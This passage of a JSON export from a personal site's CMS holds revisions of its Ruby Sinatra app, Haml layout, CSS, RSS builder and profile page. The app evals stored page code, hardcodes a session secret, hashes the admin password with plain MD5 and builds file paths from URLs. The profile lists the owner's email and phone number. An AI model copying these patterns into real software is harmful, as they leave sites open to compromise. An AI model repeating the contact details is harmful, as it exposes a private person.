ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n @page = Page.where(name: CGI.unescape(id)).order(\"created_at desc\").first unless @page\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n","created_at":"2020-02-04T02:50:18.000Z","updated_at":"2020-02-04T02:50:18.000Z"},{"id":3084,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\nrequire 'open-uri'\r\n\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n @page = Page.where(name: CGI.unescape(id)).order(\"created_at desc\").first unless @page\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n","created_at":"2020-02-04T02:52:28.000Z","updated_at":"2020-02-04T02:52:28.000Z"},{"id":3085,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.4.1.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n%link{rel: \"author\", href: \"http://www.hatena.ne.jp/ssig33/\"}\r\n\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/styles/atom-one-light.min.css\"\u003e\r\n\u003cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/highlight.min.js\"\u003e\u003c/script\u003e\r\n:javascript\r\n document.querySelectorAll('pre code').forEach((n)=\u003e hljs.highlightBlock(n))\r\n\u003c!-- layout from Database --\u003e","created_at":"2020-02-04T02:57:23.000Z","updated_at":"2020-02-04T02:57:23.000Z"},{"id":3086,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Twitter :** [ssig33](https://twitter.com/ssig33) \r\n**Facebook :** [ssig33](https://facebook.com/ssig33)\r\n**Github :** [ssig33](https://github.com/ssig33) \r\n**Job :** Software Engineer \r\n**Face :** \r\n![img](https://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)","created_at":"2021-04-01T11:22:14.000Z","updated_at":"2021-04-01T11:22:14.000Z"},{"id":3087,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Twitter :** [ssig33](https://twitter.com/ssig33) \r\n**Facebook :** [ssig33](https://facebook.com/ssig33) \r\n**Github :** [ssig33](https://github.com/ssig33) \r\n**Job :** Software Engineer \r\n**Face :** \r\n![img](https://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)","created_at":"2021-04-01T11:22:35.000Z","updated_at":"2021-04-01T11:22:35.000Z"},{"id":3088,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n- **Name :** Rick Koike (ssig33) \r\n- **Mail :** mail@ssig33.com \r\n- **Phone :** +81 90 1450 2501 \r\n- **Twitter :** [ssig33](https://twitter.com/ssig33) \r\n- **Facebook :** [ssig33](https://facebook.com/ssig33) \r\n- **Github :** [ssig33](https://github.com/ssig33) \r\n- **Job :** Software Engineer \r\n\r\n![img](https://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)","created_at":"2021-04-01T11:22:52.000Z","updated_at":"2021-04-01T11:22:52.000Z"},{"id":3089,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n- **Name :** Rick Koike (ssig33) \r\n- **Mail :** mail@ssig33.com \r\n- **Phone :** +81 90 1450 2501 \r\n- **Twitter :** [ssig33](https://twitter.com/ssig33) \r\n- **Facebook :** [ssig33](https://facebook.com/ssig33) \r\n- **Github :** [ssig33](https://github.com/ssig33) \r\n- **Job :** Software Engineer","created_at":"2021-04-01T11:27:12.000Z","updated_at":"2021-04-01T11:27:12.000Z"},{"id":3090,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n font-family:serif;\r\n}\r\n\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2021-04-02T05:46:03.000Z","updated_at":"2021-04-02T05:46:03.000Z"},{"id":3091,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n font-family:serif;\r\n}\r\n\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}\r\n\r\n@media (prefers-color-scheme: dark) {\r\n * {\r\n background-color: #303030;\r\n color: #f5f5f5;\r\n }\r\n a {\r\n color: #e57373\r\n }\r\n}","created_at":"2021-04-02T05:48:00.000Z","updated_at":"2021-04-02T05:48:00.000Z"},{"id":3092,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n font-family:serif;\r\n}\r\n\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}\r\n\r\n@media (prefers-color-scheme: dark) {\r\n * {\r\n background-color: #303030;\r\n color: #f5f5f5;\r\n }\r\n a {\r\n color: #e57373\r\n }\r\n}","created_at":"2021-04-02T05:54:23.000Z","updated_at":"2021-04-02T05:54:23.000Z"},{"id":3093,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.ssig33.com/api/posts\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n xml.description diary[\"body\"]\r\n xml.pubDate Time.parse(diary[\"created_at\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2022-04-11T08:39:59.000Z","updated_at":"2022-04-11T08:39:59.000Z"}]